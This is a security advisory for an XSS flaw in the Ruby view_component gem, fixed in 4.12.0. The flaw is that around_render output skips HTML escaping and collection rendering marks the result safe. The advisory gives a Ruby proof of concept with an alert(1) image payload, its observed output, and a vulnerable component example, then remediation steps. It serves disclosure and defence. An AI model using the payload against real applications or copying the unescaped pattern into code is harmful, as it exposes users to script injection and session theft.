Skip to content

GHSA-97jw-64cj-jc58 CVE-2026-54498

ViewComponent: around_render HTML-Safety Bypass

High RubyGems
Severity
8.7 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.45%
Chance of exploitation in the next 30 days. Higher than 39.35% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
4.12.0
Upgrade view_component to this version or later

Description

Summary

ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.

The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
    • render_in
    • around_render
    • __vc_maybe_escape_html
  • lib/view_component/template.rb
    • InlineCall#safe_method_name_call
  • lib/view_component/collection.rb
    • Collection#render_in

Key code paths:

# lib/view_component/base.rb
around_render do
  render_template_for(@__vc_requested_details).to_s
end
# lib/view_component/template.rb
proc do
  __vc_maybe_escape_html(send(m)) do
    Kernel.warn(...)
  end
end
# lib/view_component/collection.rb
components.map do |component|
  component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe

Root Cause

Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.

This creates two different output-safety behaviors:

  • #call returning unsafe string: escaped
  • #around_render returning unsafe string: raw

Collection rendering then amplifies the issue by calling .html_safe on the joined result.

Proof of Concept

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc
  c = PocController.new
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"

Observed output:

normal_call=&lt;img src=x onerror=alert(1)&gt;
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x onerror=alert(1)>
collection_raw=true html_safe=true
controller_render_to_string=<img src=x onerror=alert(1)>
controller_raw=true html_safe=false

The control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.

Exploit Scenario

A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.

Example vulnerable pattern:

class BannerComponent < ViewComponent::Base
  def initialize(message:)
    @message = message
  end

  def call
    "fallback"
  end

  def around_render
    "<div class=\"banner\">#{@message}</div>"
  end
end

If message is user-controlled, scriptable HTML reaches the browser.

Impact

Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:

  • session or token theft where cookies/tokens are accessible
  • authenticated actions as the victim
  • CSRF bypass through same-origin script execution
  • exfiltration of page data
  • credential phishing or UI redress inside trusted application origin

The collection path is particularly risky because it converts the joined raw output to html_safe, which can suppress later escaping.

Preconditions

  • The application defines or uses a component overriding around_render.
  • around_render returns or wraps attacker-influenced HTML-unsafe content.
  • The component is rendered in a browser-visible response.
  • Higher impact when rendered through ViewComponent::Collection or controller/direct rendering.

Chaining Potential

This finding can chain with:

  • preview routes or examples that accept URL parameters and render components
  • unsafe markdown or CMS content rendered inside around_render
  • CSP-disabled preview routes
  • applications that expose admin-only pages containing affected components

Remediation

Apply the same HTML-safety enforcement to around_render return values that is applied to normal inline #call output.

Possible approaches:

  1. Wrap the result of around_render with __vc_maybe_escape_html when the current template is HTML.
  2. Require around_render to return an ActiveSupport::SafeBuffer to opt into raw HTML.
  3. In collection rendering, avoid blindly calling .html_safe on joined component outputs unless each item has been normalized through the same safety boundary.

Affected versions

RubyGems

PackageVulnerableFixed in
view_component
>= 4.0.0, < 4.12.0
4.12.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

view_component RubyGems → 4.12.0

bundler
bundle update view_component # Gemfile: gem "view_component", ">= 4.12.0"

Severity breakdown

CVSS 3.1 8.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9h85-g7w3-rh49
ViewComponent: Reused Component Instances Retain Stale Render Context
Medium Also affects view_component
GHSA-hg3h-g7xc-f7vp
view_component: System Test Entry Point Path Check Allows Sibling Directory Escape
High Also affects view_component
GHSA-7f3r-gwc9-2995
view_component: Preview Route Can Dispatch Inherited Helper Methods
Medium Also affects view_component
GHSA-wf2x-8w6j-qw37
view_component Cross-site Scripting vulnerability
Medium Also affects view_component
GHSA-cm9w-c4rj-r2cf
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in view_component
High Also affects view_component
EEF-CVE-2026-117645
Phoenix.HTML vulnerable to attribute injection via unvalidated attribute names in attributes_escape/1
Not rated yet Same weakness, CWE-79
GHSA-v3f7-2p4r-mwfw
Keycloak vulnerable to cross-site scripting (xss) via case-insensitive uri validation bypass
High Same weakness, CWE-79
GHSA-mf2p-h6hf-fcwm
TinyMCE Cross-Site Scripting (XSS) vulnerability using media plugin `data-mce-object` serialization
High Same weakness, CWE-79
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor